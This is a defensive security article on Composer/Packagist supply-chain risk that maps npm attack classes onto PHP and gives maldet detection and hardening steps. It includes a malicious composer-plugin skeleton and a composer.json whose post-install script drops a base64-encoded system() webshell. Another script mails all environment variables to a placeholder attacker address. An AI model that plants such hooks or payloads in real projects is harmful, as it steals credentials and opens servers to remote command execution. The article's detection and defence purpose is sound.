Composer Supply Chain: What PHP Didn't Learn From npm
Every supply chain incident published since 2021 that moved the security industry has been an npm incident: event-stream, ua-parser-js, node-ipc, colors.js, and most recently the axios compromise attributed to Lazarus Group. PHP's Composer / Packagist ecosystem is structurally similar, runs in roughly every modern PHP codebase (Laravel, Symfony, Drupal, Magento, Shopware), and has received a fraction of the scrutiny. That asymmetry does not reflect the actual risk surface. It reflects a blind spot.
This article maps Composer's architecture and trust model, translates each npm attack class into its Composer equivalent, and describes a practical detection posture using Linux Malware Detect (maldet) against vendor/ trees. The goal is not to claim Composer has been compromised at npm-equivalent scale. The goal is to document the mechanisms so that defenders stop treating vendor trees as inert and start scanning them the same way they scan user uploads.
Architectural risk, not a single incident
Typosquatting on Packagist has been documented. Dependency confusion against Composer was demonstrated by Alex Birsan in the same 2021 research that breached npm and PyPI at a dozen major companies. Where specific incidents exist we cite them; elsewhere the risk is architectural, not hypothetical.
The Asymmetry
The raw deployment numbers cut in Composer's favor. Packagist serves well over two billion package installs per month. Symfony alone reports billions of downloads cumulatively. A singlecomposer-pluginthat touches any modern Symfony, Laravel, or Magento stack loads on every composer install in CI, every composer update on a developer workstation, and every deploy that rebuilds the autoloader. The resulting blast radius is not smaller than npm's. It just gets less coverage.
WordPress core famously does not use Composer, which is the most common reason practitioners dismiss PHP supply chain risk. That reasoning confuses the CMS with the ecosystem. Every modern PHP application above a certain size pulls Composer packages: Laravel apps pull hundreds, Magento modules ship as Composer packages, Drupal 9+ installs core and contrib through Composer, and any WordPress site with custom plugins written since 2018 probably has a vendor/ directory sitting on disk next to the WordPress install.
The Packagist Trust Model
Composer's trust model is documented but not well-understood. Unlike npm, which stores package tarballs directly in its registry, Packagist is primarily a metadata mirror. When a developer publishes a package, they register a Git repository URL with Packagist. Packagist reads the repository's composer.json and publishes metadata about available versions, dependencies, and dist URLs. The actual code is served from one of two places:
| SOURCE | WHERE | NOTE |
|---|---|---|
| dist | api.github.com/.../zipball | Default. Zip of the tagged commit. |
| source | git clone <repo> | With --prefer-source. |
| mirror | repo.packagist.org/dists | Packagist CDN cache of dist zips. |
This split matters. In the dist path, the zip served to Composer is generated by GitHub on demand from the tagged commit. In the source path, Composer clones and checks out the tag. Both paths resolve through a Git tag, and Git tags are mutable: a maintainer with repository access can force-push a tag to point at a different commit after the version has been cut.
composer.lock records a content hash per installed package, and since Composer 2.0 the lock file pins a dist reference including the commit SHA. The hash is verified on composer install. That is the good news. The bad news is that the hash covers what Composer fetched at the moment the lock was written, which is effectively a snapshot of GitHub's zipball at that instant. If a tag is force-pushed and then a different developer runs composer update to refresh their lock, Composer will happily record the new hash of the rewritten tag. Compare to npm's integrity field: npm registries forbid republishing a version with modified contents, so the integrity hash is an immutable fingerprint of what the registry served the first time. Composer's content hash is only as immutable as the upstream Git tag.
The practical consequence: a lockfile is a meaningful integrity boundary only for machines that never re-resolve. The developer who runs composer update <vendor>/<pkg> one week after a tag rewrite silently adopts the attacker's version.
npm Attacks, Translated
Five attack classes account for most documented npm supply chain incidents. Each translates cleanly to Composer, with slightly different mechanics but comparable outcomes.
1. Typosquatting
Register symfony/consol next to symfony/console. Packagist enforces the vendor/package two-part name, which means typosquatters must own a vendor namespace that looks legitimate. Researchers have documented instances of squatted packages on Packagist with names mimicking Laravel, Doctrine, and PHPUnit ecosystems. The attack window is the moment a developer runs composer require from the command line with a typo, or copy-pastes a malformed dependency line from a tutorial.
2. Dependency Confusion
Alex Birsan's 2021 research demonstrated this against Composer specifically. An organization maintains an internal Composer package (say acme/internal-auth) in a private Satis or Packagist.org Private repository. An attacker registers the same acme/internal-auth name on public Packagist with a higher version number. On a developer workstation or CI runner that has both repositories configured, Composer's resolver will, under certain configurations, pull the public (attacker) version because the version is higher.
Composer 2.0 mitigated this partially by defaulting to strict repository-scoped resolution when repositories is declared in composer.json, but projects that inherit the default packagist.org source alongside a private source remain exposed. Birsan's original research successfully breached three of nine targeted organizations through Composer configs.
3. Maintainer Account Takeover
The axios compromise, event-stream, ua-parser-js, and the colors.js sabotage all trace back to the same root cause: an attacker controlled the publishing identity. Packagist maps to GitHub accounts for most packages, which means an attacker compromising a maintainer's GitHub session (infostealer malware, phishing, token reuse) can push a malicious tag and Packagist re-mirrors it automatically within minutes. Packagist supports 2FA but does not require it for package publication, and unlike npm there is no provenance signing requirement for Composer packages. A hijacked maintainer account is functionally equivalent to a published backdoor.
4. Post-Install Hooks
The Composer equivalent of npm's postinstall lifecycle script is the scripts section in composer.json. The semantics differ from npm in one critical way: Composer only executes scripts declared by the root package (the top-level project being installed), not scripts declared by transitive dependencies. This is a deliberate design choice and is the single most important structural difference between the two ecosystems. A malicious transitive dependency cannot force a post-install hook to run just by being pulled in.
That does not eliminate the risk. It narrows it to three reliable triggers: the root package itself being malicious (a compromised starter template, framework skaffolder, or vendor scaffolding that ships a post-install-cmd), the root package running a build step that invokes code from a dependency (e.g. "post-install-cmd": "vendor/bin/some-setup"), and Composer plugins, which are a different mechanism entirely and do run transitively. See the next section.
5. Malicious Contributor
Not strictly supply chain compromise but worth flagging: a long-tenured maintainer with push rights to an upstream repository can introduce a subtle vulnerability or backdoor that propagates through Packagist within a release cycle. The xz-utils incident showed how patient this attack can be, and nothing about the PHP ecosystem makes it immune. Composer has no review gate between Git push and Packagist mirror.
composer-plugin: The Highest-Leverage Target
A package with "type": "composer-plugin" is not a library. It is a component Composer loads into its own process on every invocation: install, update, require, dump-autoload, even show in some configurations. Plugins subscribe to events in Composer's lifecycle and can observe, modify, or replace nearly every stage of dependency resolution.
Unlike the scripts section, which Composer restricts to root-package execution, composer-plugin packages activate transitively. If you depend on a widely-used tooling package that happens to be a composer-plugin (for example composer/installers, cweagans/composer-patches, symfony/flex, various framework integration packages), a compromise of that plugin runs arbitrary PHP in your CI process the next time Composer resolves dependencies.
A minimal malicious plugin skeleton looks like this:
{
"name": "acme/helpful-tooling",
"type": "composer-plugin",
"require": {
"composer-plugin-api": "^2.0"
},
"extra": {
"class": "Acme\\Helpful\\Plugin"
},
"autoload": {
"psr-4": { "Acme\\Helpful\\": "src/" }
}
}<?php
namespace Acme\Helpful;
use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;
use Composer\EventDispatcher\EventSubscriberInterface;
use Composer\Script\ScriptEvents;
class Plugin implements PluginInterface, EventSubscriberInterface
{
public function activate(Composer $composer, IOInterface $io): void
{
// Runs on EVERY composer invocation, transitively, no prompt.
// At this point the attacker has file system access, env vars,
// and the ability to rewrite vendor/ files before the autoloader
// is regenerated.
@file_put_contents(
getcwd() . '/vendor/composer/autoload_real.php.bak',
file_get_contents(__DIR__ . '/payload.php')
);
}
public function deactivate(Composer $composer, IOInterface $io): void {}
public function uninstall(Composer $composer, IOInterface $io): void {}
public static function getSubscribedEvents(): array
{
return [ScriptEvents::POST_AUTOLOAD_DUMP => 'onAutoloadDump'];
}
public function onAutoloadDump(): void { /* tamper with autoloader */ }
}The POST_AUTOLOAD_DUMP hook is particularly dangerous because Composer has just rewritten vendor/autoload.php and its supporting files. A plugin that modifies those files at that moment persists across every subsequent PHP request, and the modification is not visible in any dependency listing because the tampered file is inside the autoloader generated by Composer itself.
Post-Install Scripts
Even with the root-only restriction, post-install scripts are worth dissecting because they run during composer install on every CI build, and a compromised root package (starter template, scaffolding generator, corporate boilerplate repo) can weaponize them directly:
{
"name": "acme/starter-template",
"description": "Opinionated Laravel skeleton",
"scripts": {
"post-install-cmd": [
"@php -r \"file_put_contents(__DIR__ . '/public/.well-known/health.php', base64_decode('PD9waHAgaWYoaXNzZXQoJF9HRVRbJ2MnXSkpe3N5c3RlbSgkX0dFVFsnYyddKTt9'));\""
],
"post-autoload-dump": [
"@php -r \"@mail('exfil@attacker.tld', 'env', print_r(getenv(), true));\""
]
}
}That post-install-cmd decodes to a one-line PHP system() passthrough dropped inside public/.well-known/, a path almost every web server serves. The post-autoload-dump exfiltrates environment variables, which in most production Laravel or Symfony stacks includes database passwords, API keys, and mail credentials. Neither triggers a confirmation prompt. Both run during normal composer install.
The --no-scripts flag disables both lifecycle scripts and plugin activation and should be the CI default for any build where the scripts are not explicitly trusted:
# CI default: no scripts, no plugins, no surprises
composer install --no-scripts --no-plugins --prefer-dist --no-interaction
# Explicit opt-in for the one build step that actually needs scripts
composer run-script post-install-cmd
# Audit what the project would run before enabling scripts
composer run-script --listComposer Trust Chain
The chain from maintainer keyboard to PHP runtime has seven links, each an independent trust assumption. Red markers flag the four points where a documented or demonstrated compromise class translates into code execution on your CI runner or production host.
Detecting the Exfil Chain
Vendor trees should be scanned the same way user-writable directories are scanned. The operational assumption defenders should adopt is that vendor/ is foreign code running inside your application boundary, with the same access as your own PHP source, and therefore the same detection posture applies.
What maldet already catches
Webshells are webshells regardless of which directory they land in. maldet's existing PHP signature set detects the long-running family of eval()-based backdoors, assert() bypasses, base64-wrapped gzinflate payloads, and the Magento and WordPress-specific webshell families we have been publishing signatures for throughout 2025-2026. Scanning vendor/ with a current signature set catches the stage-two payload if a compromised package drops a webshell.
The gap: composer.json script abuse
What the existing signature set does not flag is a composer.json whose scripts block is clearly hostile: shell command execution, base64 blobs,curl | sh, file writes to web-servable paths, environment variable exfiltration. These patterns are well-suited to the compound signatures (CSIG) format because they require combining multiple weak indicators (the string post-install-cmd AND a base64 blob, or post-autoload-dump AND getenv).
A sketch of the detection surface:
# Find every composer.json inside a vendor tree and surface its scripts
find /srv/www -path '*/vendor/*/composer.json' -print0 \
| xargs -0 -I{} sh -c '
f="$1"
if grep -q "\"scripts\"" "$f"; then
# Extract the scripts block with a PHP one-liner
php -r "\$j = json_decode(file_get_contents(\"$f\"), true);
if (!empty(\$j[\"scripts\"])) {
echo \"$f\n\"; print_r(\$j[\"scripts\"]);
}"
fi
' sh {}
# Flag composer-plugin packages in vendor/ — every one is a supply-chain
# equivalent to an npm postinstall script and warrants review
find /srv/www -path '*/vendor/*/composer.json' -print0 \
| xargs -0 grep -l '"type": *"composer-plugin"'
# Run maldet against vendor trees with CSIG compound rules enabled
maldet -a /srv/www/*/vendorOn servers where the web application is deployed from a pre-built artifact (the expected pattern in any modern CI/CD pipeline),vendor/ should be immutable after deploy. Any PHP file written to vendor/ after the deploy timestamp is high-signal: either a runtime cache the application should move out of vendor/, or a webshell. maldet's inotify mode catches the write in real time; an hourly audit script that lists vendor/ mtimes newer than the deploy marker catches it eventually.
Hardening Recommendations
Split by where the defense lives.
CI-side
composer install --no-scripts --no-plugins in CI. Enable scripts selectively only for the packages that need them, and audit those packages at review time.composer.lock. Deploy with composer install (lock-respecting) not composer update. Treat a lock diff in code review the same way you treat a production config change.composer.json and avoid pulling private packages from a config that also lists public Packagist. If an internal package must coexist with public sources, reserve the vendor namespace on public Packagist to block confusion.dist.reference field in the lock rather than relying on tag names alone. This defeats silent tag rewrites.Runtime-side
vendor/ on production with maldet on the same cadence as wp-content/ or public/. Enable inotify mode so writes to vendor trees generate alerts immediately.disable_functions list that excludes exec, system, passthru, shell_exec, and the popen family. This does not defeat PHP-level webshells but blocks the most common pivot to OS shell.Review-side
type: composer-plugin dependencies to specific versions. Every plugin is an RCE primitive on every future composer install; floating versions are floating RCE.scripts entry in the same window is the exact profile of an event-stream-style takeover.dist.reference changes, not just the version numbers. A version that did not change but whose commit SHA did indicates a tag rewrite.Conclusion
The PHP ecosystem is not structurally safer than npm. It has fewer documented high-profile compromises because it has received less attacker attention and less defender attention, not because its trust model forecloses the attack. Composer's design makes transitive post-install hooks harder (good) but leaves composer-plugin as a transitive RCE primitive (not good), relies on mutable Git tags for content integrity (not good), and runs autoload rewrites as a first-class attacker target.
Defenders who have been scanning WordPress uploads and Magento trees for webshells have the tools. They just have not been pointing them at vendor/. rfxn will publish and maintain a set of generic maldet signatures that target composer.json script abuse, suspicious composer-plugin activations, and PHP webshell patterns inside vendor trees specifically. These ship through the normal signature update channel to every Linux Malware Detect install that runs maldet -u.
For context on the npm compromise class these defenses are designed to counter, see Axios npm Compromise: Lazarus Group Deploys Cross-Platform RAT. For the CMS side of the same problem, WordPress Supply Chain Attacks: BuddyBoss, Gravity Forms, and the Trust Problem covers the plugin-update vector. For the detection language that makes composer.json rules expressive, see Compound Signatures: Building a Boolean Detection Language in Bash.